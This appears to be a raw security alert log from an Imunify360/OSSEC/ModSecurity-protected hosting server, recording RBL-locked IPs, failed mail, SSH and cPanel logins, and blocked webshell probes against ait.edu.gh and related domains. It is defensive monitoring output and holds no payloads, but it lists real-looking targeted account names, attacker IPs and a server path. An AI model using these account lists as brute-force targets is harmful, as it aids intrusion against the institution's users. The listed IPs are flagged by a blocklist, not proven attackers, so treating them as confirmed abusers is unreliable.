name: Imunify PAM. The IP has been locked by RBL
abuser: 222.132.167.110
description:
Jan 26 19:43:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.132.167.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.132.167.110
description:
2025-01-26 19:43:52 dovecot_plain authenticator failed for ([222.132.167.110]) [222.132.167.110]:50228: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 195.178.110.65
description:
Jan 26 19:43:51 ait sshd[2417933]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=195.178.110.65


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.178.251.33
description:
Jan 26 19:43:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.178.251.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.178.251.33
description:
2025-01-26 19:44:01 dovecot_plain authenticator failed for ([210.178.251.33]) [210.178.251.33]:45918: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.62.59.2
description:
2025-01-26 19:44:54 dovecot_plain authenticator failed for syn-074-062-059-002.biz.spectrum.com [74.62.59.2]:49510: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.218.17.45
description:
Jan 26 19:44:10 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.218.17.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.103.235.223
description:
Jan 26 19:44:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.103.235.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.103.235.223
description:
2025-01-26 19:44:39 dovecot_plain authenticator failed for ([222.103.235.223]) [222.103.235.223]:58054: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.62.59.2
description:
Jan 26 19:44:52 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.62.59.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.159.173.105
description:
Jan 26 19:43:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.159.173.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.218.17.45
description:
2025-01-26 19:44:12 dovecot_plain authenticator failed for ([222.218.17.45]) [222.218.17.45]:36216: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.159.173.105
description:
2025-01-26 19:44:00 dovecot_plain authenticator failed for (105.5-159-173.dynamic.clientes.euskaltel.es) [5.159.173.105]:55314: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.0.28
description:
Jan 26 19:45:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.0.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.198.129.54
description:
Jan 26 19:45:14 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.198.129.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.198.129.54
description:
2025-01-26 19:45:16 dovecot_plain authenticator failed for ip54-129-198-217.pool-bba.aruba.it [217.198.129.54]:49496: 535 Incorrect authentication data (set_id=ads21a00010y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 19:45:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.143.30.155
description:
2025-01-26 19:45:40 dovecot_plain authenticator failed for ([222.143.30.155]) [222.143.30.155]:42528: 535 Incorrect authentication data (set_id=ads19b00251y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.0.28
description:
2025-01-26 19:45:07 dovecot_login authenticator failed for ([101.13.0.28]) [101.13.0.28]:58147: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
description:
2025-01-26 19:45:21 dovecot_login authenticator failed for ([220.178.39.106]) [220.178.39.106]:52906: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.175.194.139
description:
Jan 26 19:45:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.175.194.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.226.220
description:
2025-01-26 19:45:06 dovecot_plain authenticator failed for ([95.82.226.220]) [95.82.226.220]:60634: 535 Incorrect authentication data (set_id=ads21a00010y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.178.39.106
description:
Jan 26 19:45:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.178.39.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 19:45:25 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.82.226.220
description:
Jan 26 19:45:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.82.226.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.227.36.27
domain: ait-edu.us
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/engine1/css/css/css/images/images/data1/images/data1/data1/js/engine1/engine1/js/js/academic.php||SC:/home/titlemas/public_html/AIT-EDU.US/engine1/css


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.143.30.155
description:
Jan 26 19:45:38 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.143.30.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.175.194.139
description:
2025-01-26 19:45:49 dovecot_plain authenticator failed for syn-072-175-194-139.res.spectrum.com [72.175.194.139]:47203: 535 Incorrect authentication data (set_id=ads19b00251y)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.227.36.27
domain: ait-edu.us
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/engine1/css/css/data1/images/images/css/engine1/engine1/images/data1/data1/js/js/js/admissionlist.php||SC:/home/titlemas/public_html/AIT-EDU.US/engine1/css


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.243.136.120
description:
Jan 26 19:46:04 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.243.136.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.202.1.58
description:
Jan 26 19:46:20 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.202.1.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
description:
2025-01-26 19:46:34 dovecot_plain authenticator failed for ([190.117.96.174]) [190.117.96.174]:48014: 535 Incorrect authentication data (set_id=eng09b99891@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.95.223.139
description:
Jan 26 19:46:49 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.95.223.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
description:
2025-01-26 19:45:56 dovecot_plain authenticator failed for ([103.55.89.5]) [116.75.218.103]:38538: 535 Incorrect authentication data (set_id=ads22a00059y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.243.136.120
description:
2025-01-26 19:46:06 dovecot_plain authenticator failed for ([114.243.136.120]) [114.243.136.120]:59879: 535 Incorrect authentication data (set_id=ads22a00059y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.118.126.99
description:
Jan 26 19:46:30 ait sshd[2419478]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.118.126.99


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.117.96.174
description:
Jan 26 19:46:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.117.96.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.75.218.103
description:
Jan 26 19:45:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.75.218.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.118.126.99
description:
Jan 26 19:46:30 ait sshd[2419478]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.118.126.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.29.185.162
description:
Jan 26 19:46:33 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.29.185.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.95.223.139
description:
2025-01-26 19:46:51 dovecot_plain authenticator failed for ([36.95.223.139]) [36.95.223.139]:57534: 535 Incorrect authentication data (set_id=eng09b99891)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.202.1.58
description:
2025-01-26 19:46:22 dovecot_plain authenticator failed for ([177.202.1.58]) [177.202.1.58]:58579: 535 Incorrect authentication data (set_id=ads21a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
description:
2025-01-26 19:46:35 dovecot_plain authenticator failed for ([103.29.185.162]) [103.29.185.162]:55510: 535 Incorrect authentication data (set_id=ads21a00061y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.99.223.203
description:
2025-01-26 19:47:08 dovecot_plain authenticator failed for ([210.99.223.203]) [210.99.223.203]:34022: 535 Incorrect authentication data (set_id=abs3@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.232.217.32
description:
[2025-01-26 19:47:23 +0100] info [webmaild] 179.232.217.32 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.28.80.2
description:
Jan 26 19:47:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.28.80.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.227.36.27
domain: ait-edu.us
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/engine1/css/css/data1/images/images/css/engine1/engine1/images/data1/js/js/data1/js/index.php||SC:/home/titlemas/public_html/AIT-EDU.US/engine1/css


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.99.223.203
description:
Jan 26 19:47:06 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.99.223.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.193.106.140
description:
Jan 26 19:47:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.193.106.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.193.106.140
description:
2025-01-26 19:47:20 dovecot_plain authenticator failed for ([122.193.106.140]) [122.193.106.140]:39586: 535 Incorrect authentication data (set_id=abs3)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 86.108.32.209
description:
[2025-01-26 19:47:30 +0100] info [webmaild] 86.108.32.209 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.177.249.193
description:
Jan 26 19:47:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.177.249.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.249.193
description:
2025-01-26 19:47:41 dovecot_plain authenticator failed for ([210.177.249.193]) [210.177.249.193]:65386: 535 Incorrect authentication data (set_id=larm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.182.99.92
description:
Jan 26 19:48:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.182.99.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.9.222
description:
Jan 26 19:48:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.9.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.231.85.75
description:
Jan 26 19:48:46 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.231.85.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.254.132.62
description:
2025-01-26 19:48:03 dovecot_plain authenticator failed for 84-254-132-62.ip.skylogicnet.com [84.254.132.62]:59784: 535 Incorrect authentication data (set_id=larm)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.202.91.52
description:
2025-01-26 19:48:28 dovecot_plain authenticator failed for (host-196.202.91.52-static.tedata.net) [196.202.91.52]:52072: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.176.41
description:
2025-01-26 19:48:28 dovecot_plain authenticator failed for 41.red-80-29-176.dynamicip.rima-tde.net [80.29.176.41]:33374: 535 Incorrect authentication data (set_id=larm)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.186.68.153
description:
Jan 26 19:48:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.186.68.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.187.61.70
description:
2025-01-26 19:48:11 dovecot_plain authenticator failed for (node-115-187-61-70.alliancebroadband.in) [115.187.61.70]:53782: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.103.35.130
description:
Jan 26 19:48:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.103.35.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.202.91.52
description:
Jan 26 19:48:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.202.91.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.152.114.206
description:
Jan 26 19:48:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.152.114.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.198
description:
2025-01-26 19:48:44 dovecot_plain authenticator failed for 111-70-3-198.emome-ip.hinet.net [111.70.3.198]:49701: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.254.132.62
description:
Jan 26 19:48:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.254.132.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.187.61.70
description:
Jan 26 19:48:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.187.61.70 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.214.136.82
description:
[2025-01-26 19:48:17 +0100] info [webmaild] 179.214.136.82 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.61.7.100
description:
Jan 26 19:48:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.61.7.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.161.242.146
description:
2025-01-26 19:48:29 dovecot_plain authenticator failed for (146.242.161.222.adsl-pool.jlccptt.net.cn) [222.161.242.146]:12615: 535 Incorrect authentication data (set_id=amihere-ackah@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.231.85.75
description:
2025-01-26 19:48:48 dovecot_plain authenticator failed for ([41.231.85.75]) [41.231.85.75]:38367: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.28.80.2
description:
2025-01-26 19:47:55 dovecot_plain authenticator failed for ([1.28.80.2]) [1.28.80.2]:44260: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.125.145.214
description:
[2025-01-26 19:48:12 +0100] info [webmaild] 179.125.145.214 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.200.107
description:
Jan 26 19:48:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.200.107 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.200.107
description:
2025-01-26 19:48:34 dovecot_plain authenticator failed for ([196.46.200.107]) [196.46.200.107]:52228: 535 Incorrect authentication data (set_id=abs32a11123y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.119.98.157
description:
Jan 26 19:48:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.119.98.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
description:
2025-01-26 19:48:43 dovecot_login authenticator failed for ([222.186.68.153]) [222.186.68.153]:41251: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
description:
2025-01-26 19:48:21 dovecot_login authenticator failed for ([183.182.99.92]) [183.182.99.92]:55871: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.9.222
description:
2025-01-26 19:48:24 dovecot_plain authenticator failed for ([31.173.9.222]) [31.173.9.222]:56406: 535 Incorrect authentication data (set_id=abs32a11123y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.161.242.146
description:
Jan 26 19:48:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.161.242.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.114.206
description:
2025-01-26 19:48:39 dovecot_plain authenticator failed for ([39.152.114.206]) [39.152.114.206]:10587: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.119.98.157
description:
2025-01-26 19:48:41 dovecot_plain authenticator failed for ([222.119.98.157]) [222.119.98.157]:53695: 535 Incorrect authentication data (set_id=amihere-ackah)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.227.36.27
domain: ait-edu.us
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/engine1/css/css/data1/images/images/css/engine1/engine1/images/js/js/data1/js/data1/index.php||SC:/home/titlemas/public_html/AIT-EDU.US/engine1/css


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.103.35.130
description:
2025-01-26 19:48:18 dovecot_plain authenticator failed for ([103.103.35.130]) [103.103.35.130]:53905: 535 Incorrect authentication data (set_id=amihere-ackah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.29.176.41
description:
Jan 26 19:48:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.29.176.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.7.100
description:
2025-01-26 19:48:28 dovecot_login authenticator failed for 100.7.61.94.rev.vodafone.pt [94.61.7.100]:35472: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.3.198
description:
Jan 26 19:48:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.3.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.3
description:
2025-01-26 19:49:20 dovecot_plain authenticator failed for ([65.20.233.3]) [65.20.233.3]:41649: 535 Incorrect authentication data (set_id=ebentil@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.102.51.218
description:
2025-01-26 19:49:33 dovecot_login authenticator failed for ([94.102.51.218]) [94.102.51.218]:5318: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.225.203.106
description:
Jan 26 19:49:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.225.203.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
description:
2025-01-26 19:49:43 dovecot_plain authenticator failed for ([122.225.203.106]) [122.225.203.106]:27926: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.96.207.209
description:
Jan 26 19:49:15 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.96.207.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.102.51.218
description:
Jan 26 19:49:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.102.51.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.120.186.246
description:
Jan 26 19:49:05 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.120.186.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.120.186.246
description:
2025-01-26 19:49:07 dovecot_plain authenticator failed for mail.schindler-statik.at (payper) [80.120.186.246]:53760: 535 Incorrect authentication data (set_id=eng20a00103y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.233.3
description:
Jan 26 19:49:18 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.233.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.129.94
description:
Jan 26 19:49:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.129.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.233.188
description:
Jan 26 19:49:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.233.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.233.188
description:
2025-01-26 19:49:29 dovecot_plain authenticator failed for ([178.216.233.188]) [178.216.233.188]:36672: 535 Incorrect authentication data (set_id=ebentil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.227.36.27
domain: ait-edu.us
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/engine1/css/css/data1/images/images/css/engine1/engine1/images/js/data1/data1/js/js/index.php||SC:/home/titlemas/public_html/AIT-EDU.US/engine1/css


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.96.207.209
description:
2025-01-26 19:49:17 dovecot_login authenticator failed for ([103.250.160.76]) [59.96.207.209]:53428: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.129.94
description:
2025-01-26 19:49:28 dovecot_plain authenticator failed for host-41-220-129-94.habari.co.tz ([197.250.7.50]) [41.220.129.94]:44740: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.0.46
description:
2025-01-26 19:50:09 dovecot_plain authenticator failed for ([31.173.0.46]) [31.173.0.46]:34350: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.10.53.104
description:
Jan 26 19:50:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.10.53.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.39.41.171
description:
Jan 26 19:50:43 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.39.41.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.127.197.89
description:
2025-01-26 19:50:01 dovecot_plain authenticator failed for (179.127.197.89.afinet.com.br) [179.127.197.89]:53318: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.0.46
description:
Jan 26 19:50:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.0.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.127.197.89
description:
Jan 26 19:49:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.127.197.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.10.53.104
description:
2025-01-26 19:50:34 dovecot_plain authenticator failed for host-79-10-53-104.business.telecomitalia.it [79.10.53.104]:49258: 535 Incorrect authentication data (set_id=ads20a00244y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.41.171
description:
2025-01-26 19:50:45 dovecot_plain authenticator failed for ([14.39.41.171]) [14.39.41.171]:33303: 535 Incorrect authentication data (set_id=ads20a00244y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
description:
Jan 26 19:51:11 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.47.172.253
description:
Jan 26 19:51:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.47.172.253 has been locked due to Imunify RBL


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 68.183.190.244
domain: iric.us
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:19-51.68.183.190.244||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.130.181.74
description:
2025-01-26 19:51:36 dovecot_plain authenticator failed for ([103.65.227.71]) [114.130.181.74]:50178: 535 Incorrect authentication data (set_id=abs2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
description:
